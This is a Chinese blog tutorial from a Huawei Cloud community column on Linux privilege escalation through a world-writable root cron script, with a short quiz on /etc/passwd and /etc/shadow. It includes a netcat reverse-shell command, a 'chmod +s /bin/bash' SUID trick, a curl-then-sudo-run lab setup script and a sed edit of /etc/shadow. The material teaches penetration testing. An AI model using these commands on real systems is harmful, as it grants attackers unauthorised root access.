2024全网最全面及最新且最为详细的网络安全技巧 (3-1) 之 linux提权各类技巧

举报
肾透侧视攻城狮 发表于 2024/11/03 13:02:59 2024/11/03
【摘要】 2024全网最全面及最新且最为详细的网络安全技巧 (3-1) 之 linux提权各类技巧 之 CronJobs 提权

欢迎各位彦祖与热巴畅游本人专栏与博客
你的三连是我最大的动力
以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]


专栏跑道一

➡️网络空间安全——全栈前沿技术持续深入学习 

专栏跑道二

➡️ 24 Network Security -LJS

专栏跑道三

 ➡️ MYSQL REDIS Advance operation


专栏跑道四

➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]


专栏跑道五


➡️RHCE-LJS[Linux高端骚操作实战篇]​

专栏跑道六


➡️数据结构与算法[考研+实际工作应用+C程序设计]

专栏跑道七

➡️RHCSA-LJS[Linux初级及进阶骚技能]

上节回顾



3.1 LINUX passwd提权思考

  • LINUX 提权思考 dirtypipe 5个字节 poc
    利用写入/etc/passwd来提权,也可以写入/etc/shadow来提权。这两个文件究竟有何区别又有何联系呢?
  • 历史上Linux的前身,一些基于Unix的系统,是没有shadow这个文件的,用户密码的哈希就保存在/etc/passwd的第二个字段。但是/etc/passwd是全局可读的文件,用户的哈希可能被其他用户所读取,所以后来衍生出了/etc/shadow文件。
  • 自此之后,/etc/passwd的第二列通常设置为x,表示用户密码保存在/etc/shadow中,而/etc/shadow文件只有root用户可以读取和写入,这样就保护了密码哈希不能被第三方爆破。
  • /etc/shadow里面保存的信息和/etc/passwd不太一样:这两个文件的第一列和第二列都是用户名和密码,但/etc/shadow的第三列以后主要保存着密码策略,比如密码上次修改的时间、密码过期的时间、密码过期后多久禁用账户等等。
    /etc/shadow的第二列也可以是*或!,这代表这个用户是无密码的(也就是不允许通过密码登录)。无密码不等于空密码,如果你想设置一个用户密码是空字符串,那就把第二列留空即可。

现在我考考大家几个问题:

  • 我将passwd和shadow中,root用户的第二列(密码字段)修改成两个不同的哈希值,那么登录Linux的时候以哪个为准?

  • 如果我是root,我是否可以通过写入/etc/shadow来增加一个新的root用户?

  • 在Ubuntu中,root用户无法直接登录,但普通ubuntu用户可以通过sudo命令来使用root权限。我如何不借助passwd等修改密码的命令来给root用户增加一个密码?

  • 如果一个用户名在/etc/passwd里存在,而/etc/shadow里不存在,这个用户是否

  • 还可以正常登录?(答案在文末)


3.2 Linux 提权之 CronJobs 提权

实验介绍

本实验主要介绍什么是 Cron Jobs 和 Cron 语法,通过实验帮助你快速掌握 crontab 的使用方法,然后进一步通过实验理解如何利用 crontab 的不正确配置进行 Linux 提权。


什么是 Cron Jobs

  • crontab 语法
  • crontab 执行脚本内容覆盖提权

什么是 Cron 定时任务


  • Cron Jobs 是 Linux 系统中的「定时任务」,常被用来安排那些需要周期性执行的命令,例如定期备份数据、定期清理缓存等功能,
  • 因为使用到 cron 工具(crontab),因此被称作 Cron Jobs。
  • CronJobs 作为系统管理员最常用的功能之一,本身是非常棒的一个工具
  • 但如果「定时任务」被设定为以更高的用户权限运行(例如 root 用户),则可能会被黑客利用来提权。
    crontab 命令使用语法如下:

  • 其中 user 是可选的,若不指定用户,则使用当前用户的权限指定。
  • 需要注意的是,只有 root 用户才能指定以其他用户的权限来执行命令或脚本。
  • 举个例子:
  • 如果我们想实现每小时输出一次 Apache 报错日志,可以使用如下语句:
    0 * * * * echo /var/log/lastlog
  • 因为小时都被设定为 *,因此每当分钟到达 0 时都会执行一次定时任务——即每小时执行一个。
  • 那如果需要每两小时的第 15 分钟执行一次命令,应该如何实现呢?
  • 我们只需要做一个简单的修改就可以了:
    15 */2 * * * echo /var/log/lastlog



下面我们通过一个示例来理解一下cron 的用法。

先执行如下命令初始化实验环境:

我们的实验目标如下:

  • 通过 crontab 添加一个定时任务,每 1 分钟通过调用 cleanup.py 脚本清除 ~trashDirectory 目录下的所有数据。脚本 cleanup.py 的代码很简单,通过 os.system() 函数调用 rm 系统命令来清空 ~/trashDirectory 目录:

接下来使用如下命令在 crontab 中添加一条定时任务:

sudo vim /etc/crontab
* *     * * *   root    python /home/shiyanlou/cleanup.py

  • 由于我们的实验机器上 cron 服务默认是关闭的,所以我们需要手动使用下列命令开启 cron 服务
    sudo service cron start
  • 接下来我们进入 ~/trashDirectory 目录,使用 ls 命令查看文件夹下的文件:
  • 可以看到,大概一分钟后 ~/trashDirectory 文件夹下数据被清空,说明 cron jobs 正常执行。
  • 至此,我想大家应该已经理解了 cron 的基本用法,那么下面我们就开始学习如何通过 Cron Jobs 提权。


  • 通过重写 crontab 调用脚本提权

首先执行如下命令以初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_cronjobs_s2.sh > ~/init_cronjobs_s2.sh;chmod +x ~/init_cronjobs_s2.sh;sudo ./init_cronjobs_s2.sh

  • 如上图所示,此时我们已经切换到了 tomcat-syl 用户(用于模拟攻击者获取的初始 shell),我们需要想办法提权到 root 权限。

  • 使用如下命令查看主机上的计划任务:

    cat /etc/crontab;



  • 有一条定时任务引起了我们注意:系统每分钟执行一个 ~/cleanup.py 脚本,并且是以 root 用户的权限运行。

  • 我们查看一下 ~/cleanup.py 脚本文件的内容:

    cat /home/shiyanlou/cleanup.py

  • 1
  • 发现是一个定时清理目录的任务。

  • 接下来我们再查看该脚本的权限:

    ls -al /home/shiyanlou/cleanup.py
  • 发现了吗? cleanup.py 的文件权限设置存在风险:其他用户也拥有 w 权限,这意味着我们可以编辑修改 cleanup.py 的内容!

  • 由于 cleanup.py 是以 root 权限运行的,因此我们可以利用的提权的方法非常多,下面我们列举两种方法。


  • 利用 cleanup.py 反弹 root 权限的 shell

  • 修改 cleanup.py 脚本执行的命令为如下命令:
    # 使用 nc 向本地 4444 端口反弹一个 shell
    nc 127.0.0.1 4444 -e /bin/bash

然后执行如下命令监听本地的 4444 端口:

nc -lnvp 4444

  • 等待一会之后,成功接收到了反弹回的 shell,并且是 root 权限。



  • 构建 SUID 提权

  • 还记得之前我们讲过的 SUID 提权吗?我们也可以通过 cleanup.py 脚本将某些可执行文件修改为 S 权限,这样我们便可以利用它进行 SUID 提权,例如为 bash 添加 S 权限。

  • 此时 /bin/bash 是没有 s 权限的:

和之前一样,修改 cleanup.py 脚本执行的命令为如下命令:

chmod +s /bin/bash


稍等一下,查看 /bin/bash 发现已经拥有了 s 权限,所以定时任务成功执行:

  • 如上图所示,使用 bash -p 即可获取 root 权限。



  • crontab 通配符注入提权

  • 实际渗透测试中,经常还会遇到 crontab 和 「Linux 通配符注入」结合进行提权的场景,但是由于通配符注入需要讲的内容还比较多,所以我们会在下一节中给大家介绍这种方法。


  • 实验总结

  • 本节实验中,我们学习了什么是 Cron Jobs 和 Cron 的使用语法,并通过实验掌握了 crontab 的使用方法,最后我们通过 crontab 的不正确配置将 shell 成功提权到 root 权限。


答案3.1 LINUX passwd提权之课后思考题

  1.  如果在 `/etc/passwd` 和 `/etc/shadow` 中分别设置了不同的哈希值,登录 Linux 时以 `/etc/shadow` 中的密码字段为准。这是因为 `/etc/shadow` 中存储的密码字段优先级高于 `/etc/passwd` 中的密码字段。系统验证户身份时,会首先检查 `/etc/shadow` 中的密码哈希值。
  2. 作为 root 用户,你可以通过直接编辑 `/etc/shadow` 文件来修改 root 用户的密码,但是不建议这样做。更好的做法是使用 `passwd` 命令来修改密码,因为这样会触发密码哈希值的重新计算,并确保密码的安全性。
  3.  在 Ubuntu 中,root 用户默认是被禁用的,无法直接登录。普通 Ubuntu 用户可以通过 `sudo` 命令来获取 root 权限。如果要为 root 用户增加密码而不使用 `passwd` 命令,你可以使用 `sudo` 权限执行编辑 `/etc/shadow` 的操作,例如:
bash sudo sed -i 's/^root::/root:NEW_HASHED_PASSWORD:/' /etc/shadow


【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。